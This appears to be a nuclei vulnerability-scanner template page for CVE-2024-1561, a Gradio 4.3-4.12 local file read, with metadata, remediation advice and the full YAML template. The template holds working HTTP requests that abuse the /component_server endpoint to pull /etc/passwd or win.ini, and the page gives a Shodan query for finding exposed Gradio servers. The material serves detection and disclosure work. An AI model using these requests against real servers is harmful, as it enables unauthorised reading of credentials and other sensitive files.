CVE-2024-1561: Gradio 4.3-4.12 - Local File Read
- Template: CVE-2024-1561
- Name: Gradio 4.3-4.12 - Local File Read
- Description: Local file read by calling arbitrary methods of Components class between Gradio versions 4.3-4.12
- Impact: Successful exploitation of this vulnerability could allow an attacker to read files on the server
- Remediation: Update to Gradio 4.13.0
- Severity: high
- Authors: nvn1729, Diablo
- Tags: cve, cve2024, intrusive, unauth, gradio, lfi, lfr, vkev, vuln
- References: https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338, https://github.com/DiabloHTB/CVE-2024-1561, https://nvd.nist.gov/vuln/detail/CVE-2024-1561, https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2, https://www.gradio.app/changelog#4-13-0, https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
- Cves: CVE-2024-1561
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-1561.yaml
- Digest: 4a0a00473045022100c5ef122bad445cd312f848cb4b05c7924744e990c27293d1c26cac24222ff11802205d1a205f840f8dcbc9ee7239d3c80d0252b4e37e923e943fdff058de8673f30c
- Created at: 2024-05-15T06:19:40Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 923
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-1561.yaml
Classification
- Cwe: CWE-29
- Cvss score: 7.5
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.09314
- Epss percentile: 0.95501
- Cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*
Metadata
- Max-request: 2
- Product: gradio
- Shodan-query: html:"__gradio_mode__"
- Vendor: gradio_project
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| gradio_project:gradio | yes | /v1/products/gradio_project/gradio |
Labels
- Name: Gradio - Insecure Deserialization
- Impact: Attackers can read sensitive files from the system, leading to information disclosure.
- Remediation: Update to the latest version of Gradio where the vulnerability is fixed.
- Vulnerability type: insecure_deserialization
- Vulnerability impact: information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-1561
- Not known: requirements
```yaml
id: CVE-2024-1561
info:
name: Gradio 4.3-4.12 - Local File Read
author: nvn1729,Diablo
severity: high
description: |
Local file read by calling arbitrary methods of Components class between Gradio versions 4.3-4.12
impact: |
Successful exploitation of this vulnerability could allow an attacker to read files on the server
remediation: |
Update to Gradio 4.13.0
reference:
- https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
- https://github.com/DiabloHTB/CVE-2024-1561
- https://nvd.nist.gov/vuln/detail/CVE-2024-1561
- https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
- https://www.gradio.app/changelog#4-13-0
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-1561
cwe-id: CWE-29
epss-score: 0.09314
epss-percentile: 0.95501
cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*
metadata:
verified: true
max-request: 2
shodan-query: html:"__gradio_mode__"
product: gradio
vendor: gradio_project
tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr,vkev,vuln
http:
- raw:
- |
POST /component_server HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"component_id": "1", "data": "{{path}}", "fn_name": "move_resource_to_block_cache", "session_hash": "aaaaaaaaaaa"}
- |
GET /file={{download_path}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
name: download_path
internal: true
group: 1
regex:
- "\"?([^\"]+)"
payloads:
path:
- c:\\windows\\win.ini
- /etc/passwd
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
- type: word
part: content_type
words:
- "text/plain"
- type: status
status:
- 200
digest: 4a0a00473045022100c5ef122bad445cd312f848cb4b05c7924744e990c27293d1c26cac24222ff11802205d1a205f840f8dcbc9ee7239d3c80d0252b4e37e923e943fdff058de8673f30c:922c64590222798bb761d5b6d8e72950
```